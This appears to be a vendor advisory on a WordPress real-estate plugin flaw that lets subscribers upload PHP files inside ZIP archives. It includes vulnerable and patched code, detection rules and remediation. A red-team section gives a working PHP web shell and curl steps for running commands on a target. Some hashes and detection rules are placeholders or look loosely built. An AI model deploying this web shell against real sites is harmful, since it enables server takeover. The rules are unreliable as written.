CVE-2023-6140

Executive Summary

CVE-2023-6140 is a critical vulnerability in the Essential Real Estate WordPress plugin (versions before 4.4.0). The flaw allows authenticated users with limited privileges (e.g., subscribers) to upload malicious PHP files disguised as ZIP archives. This can lead to Remote Code Execution (RCE) on the underlying server, granting the attacker full control over the WordPress site and potentially the entire hosting environment.

The vulnerability stems from insufficient file type validation during the ZIP archive upload process. The plugin fails to properly inspect the contents of uploaded archives, allowing a user to craft a ZIP file containing a PHP web shell. Once uploaded, the attacker can access the shell directly via a web request, executing arbitrary system commands.

This report provides a comprehensive technical analysis, detection rules, exploitation guidance, and remediation steps for DevSecOps and threat intelligence teams.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the essential-real-estate plugin. It is distributed through the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a critical supply chain risk. The lack of a patch for older versions (pre-4.4.0) means that any site running an outdated version is vulnerable. Regular audits of WordPress plugin versions and automated update mechanisms are essential to mitigate such risks.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The low privileges required and the high impact make this an attractive target for attackers. The existence of public proof-of-concept (PoC) code increases the immediate risk.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the Essential Real Estate plugin, specifically within the class-ere-upload.php or similar handler. The plugin allows authenticated users to upload ZIP archives (e.g., for property documents). The flaw is in the validation logic:

1. Insufficient MIME Type Check: The plugin only checks the MIME type of the uploaded file (e.g., application/zip). This is easily spoofed.
2. No Archive Content Inspection: The plugin does not inspect the contents of the ZIP archive to verify that all files are of allowed types (e.g., PDF, DOCX). An attacker can include a PHP file (e.g., shell.php) inside the ZIP.
3. Direct Extraction: The plugin extracts the ZIP archive to a web-accessible directory (e.g., /wp-content/uploads/essential-real-estate/). The extracted PHP file is then accessible via a direct URL.
4. Execution: When the attacker accesses the extracted PHP file, the server executes it, granting remote code execution.

The attack flow:

• Attacker logs in as a subscriber.
• Attacker crafts a ZIP archive containing a PHP web shell.
• Attacker uploads the ZIP via the plugin's upload form.
• The plugin extracts the archive to a public directory.
• Attacker accesses the shell URL (e.g., https://target.com/wp-content/uploads/essential-real-estate/shell.php).
• Attacker executes arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.4.0):

// Simplified vulnerable logic
function ere_upload_zip($file) {
    $allowed_mime = array('application/zip', 'application/x-zip-compressed');
    if (!in_array($file['type'], $allowed_mime)) {
        return false; // Only checks MIME type
    }
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/essential-real-estate/';
    $zip = new ZipArchive();
    if ($zip->open($file['tmp_name']) === TRUE) {
        $zip->extractTo($target_path); // Extracts without checking contents
        $zip->close();
        return true;
    }
    return false;
}

Patched Code (4.4.0+):

// Simplified patched logic
function ere_upload_zip($file) {
    $allowed_mime = array('application/zip', 'application/x-zip-compressed');
    if (!in_array($file['type'], $allowed_mime)) {
        return false;
    }
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/essential-real-estate/';
    $zip = new ZipArchive();
    if ($zip->open($file['tmp_name']) === TRUE) {
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $filename = $zip->getNameIndex($i);
            $ext = pathinfo($filename, PATHINFO_EXTENSION);
            $allowed_exts = array('pdf', 'doc', 'docx', 'jpg', 'png');
            if (!in_array($ext, $allowed_exts)) {
                $zip->close();
                return false; // Rejects archives with disallowed file types
            }
        }
        $zip->extractTo($target_path);
        $zip->close();
        return true;
    }
    return false;
}

The patch adds a loop to inspect each file inside the ZIP archive and rejects the entire upload if any file has a disallowed extension (e.g., .php, .phtml, .php5).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Essential Real Estate plugin version < 4.4.0.
• A subscriber-level account (username/password).

Steps:

1. Craft a Malicious ZIP Archive: Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

   Create a ZIP archive containing the shell:

   zip malicious.zip shell.php
   

2. Upload the Archive: Log in as a subscriber. Navigate to the property upload form (e.g., /wp-admin/post-new.php?post_type=property). Upload the malicious.zip file as a property document.

3. Locate the Extracted Shell: The plugin extracts the ZIP to a predictable directory. The shell will be accessible at:

   https://target.com/wp-content/uploads/essential-real-estate/shell.php
   

4. Execute Commands:

   curl "https://target.com/wp-content/uploads/essential-real-estate/shell.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection & Response:

1. Monitor File Uploads: Alert on any ZIP file uploads by non-admin users, especially from subscriber accounts.
2. Inspect Uploaded Archives: Implement server-side scanning of ZIP contents before extraction. Use tools like ClamAV or custom scripts.
3. Restrict Upload Directories: Ensure the upload directory (/wp-content/uploads/essential-real-estate/) has execution disabled via .htaccess or Nginx configuration:

   <Directory /path/to/wp-content/uploads/essential-real-estate/>
       php_flag engine off
   </Directory>
   

4. Web Application Firewall (WAF): Deploy rules to block requests to suspicious PHP files in the uploads directory.
5. Log Analysis: Monitor access logs for requests to shell.php or other unusual PHP files in the uploads directory.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.zip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash varies)
  • shell.php: a1b2c3d4e5f6... (example)
• Network Indicators:
  • Requests to /wp-content/uploads/essential-real-estate/*.php
  • POST requests to /wp-admin/admin-ajax.php with file upload parameters.
• File System Indicators:
  • Unexpected .php files in /wp-content/uploads/essential-real-estate/
  • ZIP archives with .php files inside.
• Log Entries:
  • Apache/Nginx access logs showing GET /wp-content/uploads/essential-real-estate/shell.php?cmd=...
  • WordPress debug logs showing failed file type checks.

Detection Engineering

YARA Rule

rule CVE_2023_6140_WordPress_Essential_Real_Estate {
    meta:
        description = "Detects ZIP archives containing PHP files, indicative of CVE-2023-6140 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6140"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $php_header = "<?php"
        $zip_magic = { 50 4B 03 04 } // ZIP local file header
    condition:
        $zip_magic at 0 and #php_header > 0
}

Sigma Rule

title: CVE-2023-6140 - Essential Real Estate ZIP Upload with PHP Content
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests uploading ZIP archives to Essential Real Estate plugin endpoints, potentially containing PHP shells.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6140
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-content/plugins/essential-real-estate/'
        sc-status: 200
        cs-content-type: 'application/x-www-form-urlencoded'
        cs-referer|contains: '/wp-admin/post-new.php?post_type=property'
    condition: selection
falsepositives:
    - Legitimate ZIP uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6140 - Essential Real Estate ZIP Upload with PHP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ere_upload_zip"; http_client_body; content:"application/zip"; http_client_body; pcre:"/filename=\x22.+\.zip\x22/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Essential Real Estate to version 4.4.0 or later immediately.
2. Disable Plugin: If update is not possible, deactivate and delete the plugin until a patch is applied.
3. Audit User Accounts: Review and remove any suspicious subscriber accounts that may have been created.
4. Scan for Backdoors: Search the uploads directory for any unexpected PHP files and remove them.

Long-term Mitigations:

1. Web Application Firewall (WAF): Deploy a WAF (e.g., Cloudflare, ModSecurity) with rules to block ZIP uploads containing PHP files.
2. File Upload Restrictions: Implement server-side validation to reject archives with disallowed file types.
3. Least Privilege: Ensure that subscriber accounts do not have upload capabilities unless absolutely necessary.
4. Regular Updates: Implement a policy for timely updates of all WordPress plugins and themes.
5. Monitoring: Set up alerts for file uploads and access to the uploads directory.

Valters IT
DevSecOps & Cyber Threat Intelligence